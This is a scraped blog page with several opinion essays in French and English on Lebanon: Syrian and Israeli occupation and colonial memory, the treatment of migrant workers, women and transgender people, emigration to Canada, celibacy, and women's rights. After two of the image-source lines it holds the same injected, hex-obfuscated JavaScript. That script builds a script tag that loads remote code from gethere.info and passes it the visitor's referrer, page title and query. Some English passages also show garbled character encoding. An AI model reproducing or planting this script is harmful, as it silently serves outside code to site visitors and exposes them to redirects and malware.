Plus encore, le régime syrien avait fait en sorte qu’aucune union nationale libanaise n’advienne, celle-ci étant susceptible de réclamer ou d’imposer son retrait. En ce sens, il suffit d’évoquer le système tripartite de gouvernance ou la troïka maronite-sunnite-chiite qui rendait caduque le fonctionnement des institutions de l’État libanais; d’où le blocage continuel qui ne pouvait être dénoué que par un arbitrage syrien devenu un pouvoir suzerain. De plus, le pouvoir de la Syrie s’exerçait à toutes les échelles de la gouvernance: formation des gouvernements, élections parlementaires et mêmes municipales, mais surtout pénétration des partis politiques, des syndicats et des institutions de la société civile.

Mais si le but est l’évacuation du « Liban occupé », peut-on oublier qu’au niveau régional, le Golan syrien, la Cisjordanie, Jérusalen-Est et la bande de Gaza sont occupés depuis 1967, malgré les nombreuses résolutions du Conseil de Sécurité des Nations Unies? Et que dire des visées israéliennes, à l’abri desquelles le Liban n’est pas encore, en dépit du retrait des militaires du Sud en 2000 après 18 ans d’occupation? Les combats de l’été 2006 en sont un exemple pertinent, ainsi que les innombrables infractions du territoire libanais depuis. L’expansionnisme colonial d’Israël constitue un défi réel puisqu’il s’agit d’un pays qui refuse de se reconnaître des frontières définitives et qui déclare ouvertement ne pas s’estimer être lié par les résolutions de l’ONU  – dont notamment les résolutions 425 et 426 du 18 mars 1978.

Que faire donc avec la politique des « deux poids, deux mesures »? Quels sont les occultations et les nœuds de la mémoire dans un contexte où le spectre d’un nouveau Sykes-Picot – ou partage du sud-ouest asiatique – ressurgit, et où la prépondérance de l’identité confessionnelle exclusiviste – notamment islamique, juive et chrétienne – se renforce? Comment, dans le contexte particulier du Liban, appelle-t-on à l’édification d’un État islamo-chrétien, tout en critiquant l’édification de l’État israélien ayant sacralisé l’identité juive? Toutefois, peut-on exiger des libanais d’expier des fautes qu’ils n’ont pas commises envers les juifs lors de la seconde guerre mondiale et de ce fait, de taire leur résistance à l’encontre de l’État d’Israël? Par contre, comment ne pas dénoncer l’amalgame qui est souvent fait au Liban entre Judaïsme et Sionisme, et ses conséquences, comme l’occultation de l’identité juive libanaise?

Répondre à ces questions et à bien d’autres encore me semble crucial dans la mesure où l’on remettrait en question un vocabulaire et des concepts qui nous gardent prisonniers d’une logique simplificatrice; dans la mesure aussi où l’on identifierait la diversité des causes aux situations conflictuelles, aux crises actuelles des sociétés de la région et à leurs conséquences à court et long termes. C’est ce qui m’amène à représenter la réalité de leurs relations avec les colonialismes à travers l’image d’un divorce non consommé. En effet, l’ère du colonialisme n’est pas révolue, mais celui-ci adopte des visages multiples, mettant en jeu d’anciens et de nouveaux acteurs, d’anciennes et de nouvelles stratégies, bref, un processus de ruptures et de continuités tant internes qu’externes, locales, régionales et internationales intimement imbriquées.

En fait, on n’a pas encore fini d’appréhender l’entreprise coloniale, d’essayer de mieux la définir, de prendre en compte les expériences vécues par les colonisateurs et les colonisés. Mais quiconque traite de la question du colonialisme, traite habituellement des relations de dominations, tel Edward Saïd (L’Orientalisme, 1978), alors que celui-ci ne tient pas nécessairement compte des échanges et des relations d’interpénétrations, ou ce que l’on nomme parfois la créolisation des visages, des langues et des codes. Or, se poser la question des conséquences à tirer aujourd’hui de ces relations – d’autant plus qu’on assiste à la résurgence de discours de supériorité d’une civilisation sur d’autres, d’une culture sur d’autres, d’une religion sur d’autres -, remettrait en question la nécessité de postuler un « Occident » sur le même mode que des orientalistes avaient pensé « l’Orient ». Au contraire, construire une mémoire des colonialismes n’implique pas de développer un « occidentalisme » dans lequel l’Orient est l’observateur-sujet et l’Occident l’observé-objet; mais il s’agit d’ouvrir la voie à la lutte contre l’injustice historique, la non-reconnaissance des diversités et des richesses qu’elles apportent, et de continuer à construire des relations d’interpénétrations qui dissiperaient cette vision de l’éternel maître-disciple. Seulement alors, parlerait-on à bon droit de l’avènement d’une ère dûment post-coloniale!

[hr]

Ce texte est en partie tiré de ma thèse doctorale ‘Pour une gestion médiatrice des diversités au Liban’ (Université de Montréal, Faculté de Théologie et de Sciences des Religions, QC, Canada, 2005-2006).

We Fear the Unknown, and Prefer to Keep it Locked up!

This is Lebanon. Here, we have degrees of citizenship. Its factors are skin color, nationality, gender, sexuality, age and profession. We dona��t consider foreign workers to be human. We treat them inhumanely; we overwork them, we exhaust them, we dona��t give them the space every human being needs, we expect the very best of them for less than the minimum wage, we want them to be there 24/7 ready to a�?servea�? us, etc. We judge them by the color of their skin and their profession. For some reason, being a house keeper seems to be demeaning to the Lebanese society. They clean, they cook, they do our grocery shopping for us, and, they even take care of our kids for us. This is the work of multiple people for the price of one, actually half the price of one. And we pride ourselves by saying that we are feeding them, and we take care of them when they are sick and and and… Working 24/7, waiting on people, cooking, cleaning, shopping, and babysitting. Would you do it for the price they are offered if you traveled to Europe for example?

On the other hand, women rarely get promoted at work for the most eccentric of reasons: she might get pregnant and take some time off. Simply because a woman has the ability to bear children seems to give men the upper hand. Is there even one domain where a woman is not objectified and harassed for being who she is? A businesswoman is considered to want to enter a�?the world of mena�? and hence she is viewed as the outsider in fitting clothes. Why do we care so much about looks? What if a woman has short hair? Do appearances come in handy when it comes to meeting the requirements of a job position? Will the lack of hair result in less professionalism and productivity in the work environment? At the workplace, women are plainly forced to fit a certain image. And if they don’t like it, the companies simply let them go. This is a country where the number of unemployment is on the rise and if one woman refuses to do the job for the salary that is beneath the position, another would for the lack of other opportunities or the need of an income to close debts and whatnot.

Scientifically ita��s been proven that men and women are different in the workplace, different does not mean second class though. It simply means that men and women function differently, and each one excels in an area different than the other. It makes sense. It is not an absolute rule, but it makes sense. But, what does sexuality have to do with work? We all know that when we talk about the level of citizenship here, men come first. Second come men who are not a�?traditionala�? and a�?straighta�?. Then come women, followed by nontraditional looking and behaving women. And last and least preferred are the people who are not cisgendered. We have built a castle of shame, in my opinion. I would like to understand what someonea��s gender has to do with anything really. I would like to understand what onea��s nationality has to do with anything, what onea��s convictions, political affiliations and overall cultural background have to do with work, social matters and everyday relations.

We consider men to be the head of the household, the wife being his source of support and the kids would be the proud product of the mana��s manhood. This is our perfectly framed picture of a Lebanese family. And so, we leave out single men, but we may even consider them wise not to have gotten entrapped and married because how else do we measure life if not by the amount of relations a man can have in his lifetime? Sadly enough, this also leaves out any and every successful woman who after reaching a certain age is denied jobs because she is a�?overqualified and over the age limita�?. And yet again, we are leaving out every person that does not fit the usual image of a man and a woman. We may be ignoring great potential in unconventional people such as transgenders, but we dona��t even think twice about it because it keeps us safe.

It is only a few years ago that I learned what the term cisgender meant, and it is recently with the article I read about cisgender privileges that I started wondering about how the situation is here in Lebanon. There is so much ignorance about the subject that it is scary. People use jokes such as a�?look at him, such a womana�? on a daily basis while driving for example. Guys open doors for each other and say a�?ladies firsta�? to assert their manhood, but those arena��t men; those are boys. We confuse sexuality with gender. And we make fun of everything we do not understand. And the reason we do not understand these a�?creaturesa�? is because we do not have enough resources to know about them. We fear the unknown, and prefer to keep it locked up, away from our homes and children. Different does not mean beneath or above. Different is simply that: different.

Inspired by Red Lips High Heelsa�� Facebook share of a�?Cisgender privilegesa�?.

[hr]

Image source:A�www.constructinglifecoaching.comA�

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Entre deux rives (Canada et Liban)

Dr. Pamela ChrabiehJe publie à nouveau ce matin un de mes articles parus dans l’Orient-le-Jour et dans la revue du Collège Notre-Dame de Jamhour (2006). A l’époque, nous avions, mon mari et moi, pris la décision de retourner au Liban, pour des raisons tant familiales que ‘nationalistes’. Il faut dire que notre visite lors de l’été 2006 laquelle tourna au vinaigre, raviva les souvenirs traumatisants des années 80 du siècle dernier, et m’encouragea, encore plus qu’auparavant, à poursuivre ma lutte dans la construction de la paix au Liban… En relisant mon texte, quelle ne fut ma surprise de le trouver encore d’actualité!
“Mon périple au carrefour du Canada et du Liban a débuté il y a sept ans. A l’époque, j’étais convaincue que ‘l’Occident’ constituait un havre de liberté, de paix et de convivialité, martelée par les dérivés du « rêve américain », de la « mission civilisatrice française », et du fameux « multiculturalisme canadien ». Comme beaucoup d’autres de mes amis-es et collègues de la même génération dont l’enfance et l’adolescence furent marquées par la guerre physique en sa période la plus sanglante, l’entreprise de la ‘reconstruction nationale’ au courant des années 90 générait la frustration et perpétuait la souffrance : on s’attelait à faire table rase du passé et à escamoter les mémoires meurtries de l’histoire nationale en les remplaçant par des immeubles flambants neufs et un système socio-politique et économique qui minait les bases d’un véritable vivre ensemble. La quête de survie et d’un sens au tumulte de notre existence n’était pas achevée. Les tensions, la discorde, l’exclusion de tout ce qui est ‘autre’, l’angoisse de la prochaine explosion… : l’étau ne s’était pas desserré.Pour pouvoir y échapper, j’avais opté pour l’émigration, les longues files d’attente pour obtenir un visa, l’humiliant passage aux douanes, la méfiance, les réticences et le rejet de bien d’individus sur la terre « d’accueil » face à « l’immigrante » que je constituais, « membre d’une minorité visible », « l’étrangère », « l’autre ». Dès le début de mon cheminement académique à Montréal, j’étais tantôt qualifiée ironiquement de « terroriste » – qualificatif qui fut encore plus utilisé à l’encontre de mes collègues musulmans-es suite au 11 septembre 2001 -, d’autres fois « de sous-développée », d’ « éponge » qui s’imbibait de « la connaissance occidentale » sans y contribuer en retour, etc.
Hormis ces qualificatifs et quelques malencontreuses expériences, j’eus la chance de rencontrer des personnes de diverses cultures et spiritualités, d’avoir des professeurs-es et des collègues dont l’enseignement et l’amitié ont contribué à enrichir la construction de mon identité, et surtout, à retisser des liens avec mon pays d’origine, à relire son histoire, à redécouvrir son patrimoine, ses traditions, et à tenir compte tant de ses avantages que de ses limites. Ces diverses rencontres qui ont pavé mon chemin, avec leurs larmes et leurs sourires, leurs joies et leurs peines, m’ont aidée à ne pas oublier et à m’engager. Je ne pouvais et ne voulais plus différer les questions tournant autour de la guerre et de la paix, de la mémoire et de l’identité; questions qui résument la souffrance et le drame de bien de personnes ballottées entre l’amnésie et l’hypermnésie, et qui constituent la base de mes travaux académiques, socio-communautaires, littéraires et artistiques.
Sept années ont passé… Je suis de retour au Liban. En fait, je me suis rendue compte que je ne l’avais jamais quitté, ni d’ailleurs le Canada. Je vivais et je vis encore constamment entre deux rives une aventure à la recherche de l’ouverture à l’altérité et de la convivialité. Plus qu’une aventure, c’est un pèlerinage empreint de richesses exaltantes et d’embûches, d’une succession de morts-résurrections, d’imprévus, de remises en question, de réconciliation et de communion. J’ai laissé des parties de moi-même sur la route; j’en laisse encore… Toutefois, j’en ai forgé d’autres et j’ai même retrouvé des coins perdus dans ma mémoire, longtemps ignorés, mais désormais interpellés, se dressant comme remparts contre l’oubli.
Vivre entre deux rives m’encourage à briser le mur du silence entretenu par les acteurs de la tragédie libanaise, bourreaux et victimes. Vivre entre deux rives m’apprend chaque jour à contribuer au dialogue des différences en moi-même et dans mon entourage; différences qui ne sont pas résorbées, et qui ne sont pas des systèmes clos séparant les individus et les collectivités au point d’en faire des ennemis potentiels, mais qui constituent des richesses au service de l’humanité. Ce dialogue est d’autant plus crucial dans le contexte actuel du Liban qui fait craindre l’exacerbation d’une politique d’exclusion, et qui appelle de ce fait à une sérieuse révision des distorsions d’une histoire incarnée par un passé épuré transmis aux jeunes générations”.

Pity our Nation?

I woke up this morning with those three words in my head “Pity the Nation” while thinking of Lebanon, Lebanese, of our sad situation caught in a never-ending cycle of wars, both physical and psychological. “Pity the Nation” is the title of Robert Fisk’s publication in England (1990) and the US (1991). Strange how the content of his book didn’t mean anything to me in the early 1990s. True Lebanon was occupied by Israelis in the South and Syrians everywhere else, but I was a teenager, and like many of my generation, we dared hope for change, for turning the page of violence and looking for a better future.

What about today? 23 years later? Syrian troops evacuated, Israelis too – except for few lands -, Ariel Sharon died few days ago – my generation does not forget Israel’s then-Defense Minister, one of the many villains of the piece -,… However, hope is fading… Our war did not end. WE ARE STILL AT WAR. We are not in a post-war era. We are not in Peace. We do not have, as Lebanese, a common identity, nor history, nor memory. Our nationalism and democracy are damaged. Human rights are nowhere to be found.

In fact, there is no Nation. There are disparate scattered cities run by warlords, mafia leaders and tribes, manipulated proxies who mastered themselves the art of manipulating their people, and our so-called leaders culpability has become part of the political amnesia of our time.

Pity our Nation! Fisk was describing it as ‘agonizing’ two decades ago. Gibran Khalil Gibran, in the ‘Garden of the Prophet’ (1934), stated the following: “Pity the nation that welcomes its new ruler with trumpetings, and farewells him with hootings, only to welcome another with trumpetings again. Pity the nation whose sages are dumb with years and whose strong men are yet in the cradle. Pity the nation divided into fragments, each fragment deeming itself a nation”. Fisk found this passage of Gibran contemporary enough to provide the title of his book.

Well, today, I can honestly tell this Irish journalist that ‘agony’ isn’t the proper word which can describe the current situation, and our beloved poet and visionary Gibran that there is no nation to pity anymore. Our nation is dead! In fact, there was never one nation! Maybe something close to a nation  in the early 1900s when Lebanese fought for their independence of the Ottoman Empire, in the 1940s facing the French Mandate, in 2005 against the Syrian regime, and during the 2006 Summer combats with Israelis. Punctual fights and events, but no sustainable revolts or revolutions followed by a true systemic reform.

Time to stop denying we are at war. Time to stop mocking others and believe WE are intelligent. There is no ‘We’, and the  ‘I’s are dumb. Time to stop thinking that the tree has grown and following sun spots over it. Time to stop waiting for the unknown or leaving for foreign ‘oasis’. Enough plunging into one’s veins, hiding into one’s brain, observe endings while doing NOTHING, wiping tears, discovering inner tears which turn into wounds, immuring oneself in loss, wallowing in dead civilizations and becoming one. As Etel Adnan states ‘In the heart of the heart of another country’, time to stop choosing “between absolute sorrow, sorrow with no despite, and death”, breathing “soot, and uncertainty”, putting off “all lights and project mental images on the wall”, shifting “the battle to the next generation”.

There are other choices… Other paths to follow…

Time for those tiny arrogant ‘I’s  to wake up, resurrect, rise, start working their “matière grise” and build one nation…

About the Crisis of Celibacy in Lebanon


JK, mid-40s, I’ve known him since 5 years now, he is in charge of the entertainment at our place; not his main job, he rather does it as a hobby.  A very decent man, workaholic to the max and dependable as no one else, seeking a life partner, sometimes desperately, but not finding any. Straight to the core without being unduly macho, but nevertheless, a bachelor amidst a sea of celibates. Ok, he does not have a big bank account or a fancy car but surely, he will not let his eventual family be in need of anything. He does not get the looks, but since when for a man his age, looks matter that much to find a mate?!

 What is this crisis of celibacy hitting our society ?? Not that I over value the “institution of marriage” or sanctify it in any way, but still, when you notice huge numbers of people of marriageable age, wanting to marry, but refraining from doing so, it is a case to ponder upon !

Ok, economic considerations prime: Stereotypically  women want a husband who can provide for them and assure them and the future children a good living, and men want a woman who works and/or who has a “BIG dota”, who –satisfy- his needs, and who can take care of HIS house, and raise HIS children !

That’s is the now traditional prima facie of things but not only ! Our grandparents married for love, to make a family, and to have sex…that later, is now very easily found and plentiful outside marriage. So, is it one reason less to marry ?!
I don’t know…

Back to JK, had he been living in another age, or in another society, I am sure he would find a partner, but in Lebanon, he couldn’t and probably, sadly, he won’t ! Why? When celibacy is hitting records among Lebanese women and when some celibate women go to extremes to seduce men, some men, not all, why does JK remain alone ? He surely would be the ideal husband and the exemplary father, but why then, doesn’t he fit the right profile ?

Why is it that more and more you hear men saying that the best would be to go to Eastern Europe to find a good and decent wife ? Or to the Philippines ?

It reminds me of similar stories in rural Japan and South Korea, where middle-aged men caught by rapid modernization also went south to find wives, to Vietnam, Cambodia and the Philippines… Also stories coming from rural France, Spain and Italy going to Romania or South America.

Perhaps when societies are in rapid transformation, women are ahead of men and they adopt earlier the new and future norms, they get more educated and their criteria shift quickly, when men are left behind, stuck in traditional norms and mores!

Whatever it is, our society is a transitional one, from a traditional / conservative society, it is rapidly moving to an open and liberal one… The norms are shifting before adjustments are made, consumerism and the ethos of a consumer society not helping at all: the lure of easy, quick money – and whatever its origin-, power and looks prime; it is the reign of superficiality over authenticity!

[hr]

Image source: thesocietypages.org

How married/divorced women are usually perceived!

The way society views married women is a shock to me. But then again, why should it surprise me? This society has no respect for anything, no respect for anything at all.

Yes, I’ve been told on many occasions that there aren’t a lot of men who think like I do. Yes, Ia��m becoming more and more aware of this little detail. But, how is it that some fundamental things in life can be seen any other way than they should be?A�

Married women. I believe that, in this twisted society, married women are treated with respect only because of the existence of a a�?mana�? by their side. I guess that is the best scenario. Of course some people respect women (in general), but the bigger number of people simply doesn’t see a reason to do so. And so, married women have turned into the trophy wives men carry around with them. They have turned into these Barbie dolls, with all the plastic surgeries, the make-up, and the over compensation with materialistic items. And again to my surprise, married women have become the peak of sexual conversations. If a young man is friends with a married woman, it is considered acceptable for him to seek a�?experiencea�? with his married friend. Is there no such thing as a sacred marriage? Is there no such thing as love or commitment? The sad part is that these kinds of conversations are not exclusive to married women; they extend to older women and of course divorced women.A�

When a man goes out with a woman and thinks of her as a�?wife materiala�?, he likes to keep her a�?untoucheda�? and a�?purea�?. Divorced women, having been married, have become a safe environment for men; they are already a�?broken intoa�?. Who is going to question it? Nobody is going to try and protect her. Her ex-husband obviously doesn’t care. Her parents? They would be too ashamed that she is divorced that they would try to force her on any and every man available in the hopes of having her be married again. Why? Because, what would people think of her? a�?She couldn’t keep a husband; she cana��t even get a new man?a�?

This society sickens me. Married or divorced, a woman is a human being worthy of respect. It doesn’t matter what she works as, if she works, if she is a stay at home mom, if she has kids, or anything really; a woman is a human being worthy of respect. Married, she is not just an object to garnish the mana��s life. Divorced, she is not someone elsea��s leftovers that we should use, abuse and throw away. Respect is due. When will we live up to it?

[hr]

Image source:A�www.indianmuslimobserver.com

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

"Weak, undependable, defective and inferiors" ? More than enough!

I have been a girl that lived in a conservative society for my whole life. Thank god, to a point my parents were a bit loose. But that doesn’t mean I have not seen what a cruel moral and physical treatment a woman receives. So next, I’m  not going to talk about women’s right in Lebanon (if they exist), I’m going to give a general view on what a Lebanese women goes through every day of her life.

Women’s rights! Something, I might have heard about, in Lebanon? Yeah right! It’s something that NGOs are getting killed to accomplish, it’s something that every girl should fight for, and even every man. Knowing that women’s rights are discriminated in Lebanon and never taken into consideration, Lebanese women have been struggling in the society for ever, let us have an idea of what women situation is like in Lebanon, since a female is born and until she dies.

“Hazzak beshi3 tel3it benet bas lmhem khel2a kemle! Eh t3ish w thezz la khayya” (you’re unlucky to have a girl, but hopefully she will be like her brother). The first crime committed toward Lebanese girls, a crime that she might pay for it her whole life. The Lebanese girl is differently treated since the first day she is born, but on the other side, a boy is all what a family has, and what annoys me the most is the sad expression: “Ya haram, wahid ma 3endon gheyro” when in fact he could have a sister or more, what a tragedy right?

Later on when she grows up, she is sadly, raised on the differences between her and her brother, and somehow she is brainwashed and convinced. He can yell while she can’t, he can go out and come back home late, while she also can’t! Why? Because “3eib”. She must work home, does the laundry, wash the dishes, clean her brother’s room, serve her family, and serve her brother while he is sitting and playing games and watching TV. Don’t, don’t, don’t!! Can’t, can’t, can’t! Work, work, work! And when she gets married and she sure will in an early age (12-18) or she is no longer worth it, she is basically brainwashed and raised on the mentality that women must be “subservient” to their husbands, she is inferior, he work is limited in the house(raising kids but without having an opinion, household chores, cooking…). She is brainwashed that women must be subjugated to the wishes of men excuses slavery and violence. If he’s mad, he has the right to hit her. If he wants to have a sexual relation, he has the right to force he even if she’s not in the mood, and a lot more and more… And one of other expressions that pisses the most is “badde rabbia” as if she’s a baby to be raised!

What drives me a lot crazier is the law. The law that cannot protect us! The law that is excluding rape as a crime. If a woman is raped, she is often most severely punished as the guilty part in the crime. The law that is excluding “jarimit lsharaf” as a crime. Oh I’m sure you would like to hear about this last one. Well, dear friends, In Lebanon, the “honor crime” which is committed when a girl messes with her family honor(big deal), by having a sexual relation before marriage, by marrying someone out of her religion or by running away with someone just because her parents and brothers didn’t think that he was right for her ignoring her opinion… and this is really honoring! Right? They kill her in the name of honor; they kill her in the name of religion!

Lebanese women who married non-Lebanese men cannot pass the Lebanese nationality to her children. This law that the government claims that it has been well studied, and knowing that there are many reasons to consider it and that our society might become chaotic, but hey government friends! Don’t you think that our society is already chaotic? Come on! “shou we2fit 3leina?”

If I want to keep going, I might never finish cursing this sick, self damaged society. But what we all should know is that, it is not women and girls alone who suffer. It damages everyone even men. It also damages the society. The evidence shows that investing in women and girls delivers major benefits for society. An educated woman has healthier children. She earns more and invests what she earns in her family. Yeah, but that unfortunately this is not really considered around here! They all think that we are weak, undependable, defective and inferiors. So my female friends, and even male friends, I think it’s time to say enough! To yell we have had enough! Enough of discrimination! Enough of violence! Enough of differences! Enough of sexism!

[hr]

Image source: consciousnessondemand.blogspot.com